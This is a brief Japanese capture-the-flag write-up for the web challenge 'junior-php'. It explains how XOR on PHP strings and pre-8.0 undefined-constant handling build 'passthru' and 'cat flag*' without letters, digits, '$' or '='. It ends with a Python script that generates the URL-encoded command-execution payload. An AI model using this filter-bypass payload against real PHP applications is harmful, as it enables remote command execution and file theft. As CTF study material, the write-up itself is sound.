4/23 - 4/25という日程で開催された。zer0ptsで参加して2位。
[Web] junior-php
&
、|
そして^
演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。https://www.php.net/manual/ja/language.operators.bitwise.php
と
PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました
という仕様を使って [A-Za-z0-9]
$
=
の使用を回避しつつ passthru
と cat flag*
というふたつの文字列を作る。可変関数という機能を使って passthru('cat flag*')
が呼び出せる。
import urllib.parse def encode(s): s = [c ^ 0xff for c in s] return bytes(s) + b'^' + b'\xff' * len(s) print(urllib.parse.quote( b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');' ))